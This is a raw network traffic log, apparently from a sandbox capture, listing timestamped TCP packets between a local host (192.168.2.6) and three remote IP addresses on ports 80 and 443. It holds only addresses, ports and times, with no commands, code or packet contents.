Dec 20, 2024 17:43:26.984813929 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:26.986658096 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:26.986665964 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:26.986898899 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.039079905 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.039109945 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.039206982 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.742121935 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.742223978 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.742280960 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.751220942 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.751247883 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.806385994 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.806443930 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.806515932 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.806895971 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:27.806912899 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:27.952744007 CET	80	49734	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:27.952867985 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:27.956306934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:27.956839085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:28.076491117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:28.076572895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:28.076669931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:28.076725006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:28.080677986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:28.200436115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.023257017 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.023332119 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.024741888 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.024748087 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.024981976 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.026487112 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.026566029 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.026582003 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.406687975 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406709909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406723976 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406807899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406816006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.406816006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.406845093 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406860113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406871080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.406888962 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.406898975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.406924963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.407100916 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.407115936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.407130003 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.407155991 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.407177925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.526642084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.526669025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.526719093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.526757956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.530786037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.530868053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.601794958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.601886988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.601886034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.601953030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.606070995 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.606128931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.606179953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.606218100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.614394903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.614506960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.614520073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.614659071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.622911930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.622977972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.623011112 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.623069048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.631223917 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.631298065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.631325960 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.631370068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.639517069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.639574051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.639756918 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.639810085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.647885084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.647945881 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.647972107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.648005962 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.656326056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.656384945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.656383991 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.656426907 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.664674044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.664729118 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.664906025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.664953947 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.672292948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.672360897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.672391891 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.672456026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.679924011 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.679982901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.680387974 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.680443048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.721626997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.721695900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.722160101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.722202063 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.794243097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.794302940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.794312954 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.794472933 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.796730995 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.796930075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.797023058 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.801748037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.801805019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.801914930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.801964998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.806642056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.806735992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.806875944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.806952000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.811598063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.811646938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.811734915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.811784983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.816447973 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.816502094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.816504002 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.816540003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.821150064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.821410894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.821474075 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.825928926 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.826047897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.826119900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.830725908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.831087112 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.831177950 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.835448027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.835557938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.835633993 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.840123892 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.840460062 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.840538025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.843139887 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.844681978 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.844782114 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.844841957 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.844885111 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.844897032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.844933987 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.844974041 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.844983101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.845921993 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.849709988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.849725008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.849740982 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.849760056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.849776983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.854417086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.854473114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.854559898 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.854612112 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.858028889 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.858056068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.858122110 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.858124018 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.858144045 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.858228922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.859086990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.861804962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.862003088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.862061977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.865434885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.865576982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.865638018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.866405964 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.866461992 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.866472960 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.869041920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.869213104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.869266987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.872775078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.872860909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.872929096 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.876343012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.876808882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.916157961 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.962625027 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.966619968 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.966742992 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:29.966784000 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:29.986341000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.986450911 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.986659050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.986727953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.987760067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.987833023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.988025904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.988074064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.990721941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.990773916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.991795063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.991863012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.991965055 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.992014885 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.994750977 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.994853020 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.995219946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.995270967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.997729063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.997832060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:29.998136997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:29.998545885 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.000657082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.000708103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.000813961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.000859976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.003431082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.003494024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.003530025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.003582954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.006139994 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.006191969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.006225109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.006285906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.008915901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.009105921 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.009166002 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.009860039 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.011704922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.011869907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.011930943 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.014498949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.014559031 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.014597893 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.014900923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.017467022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.017527103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.017688036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.018922091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.020060062 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.020292044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.020343065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.022898912 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.022972107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.022995949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.023010969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.025618076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.025707006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.025726080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.025768042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.028340101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.028409958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.028588057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.028651953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.031202078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.031251907 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.031286001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.031608105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.033881903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.034054995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.034130096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.034245014 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.035558939 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.036695004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.036750078 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.036859989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.036902905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.039562941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.039614916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.039653063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.039689064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.040270090 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.040323019 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.040358067 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.040374994 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.040425062 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.040623903 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.040642977 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.040656090 CET	49735	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.040662050 CET	443	49735	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.042228937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.042274952 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.042335987 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.042407036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.045037031 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.045084000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.045135975 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.045182943 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.047832012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.047884941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.047888994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.047934055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.050569057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.050697088 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.050748110 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.050940037 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.053339005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.053639889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.053714037 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.056168079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.056237936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.056312084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.056469917 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.058968067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.059088945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.059119940 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.059206009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.061736107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.061813116 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.061965942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.062151909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.064505100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.064553976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.065015078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.067009926 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.067240953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.067285061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.067323923 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.070086956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.070144892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.070708990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.071062088 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.072802067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.073194981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.073249102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.075606108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.075798988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.075860023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.178579092 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.178637981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.178736925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.179253101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.179541111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.179589987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.181677103 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.181751013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.181797028 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.184015989 CET	80	49736	31.41.244.11	192.168.2.6
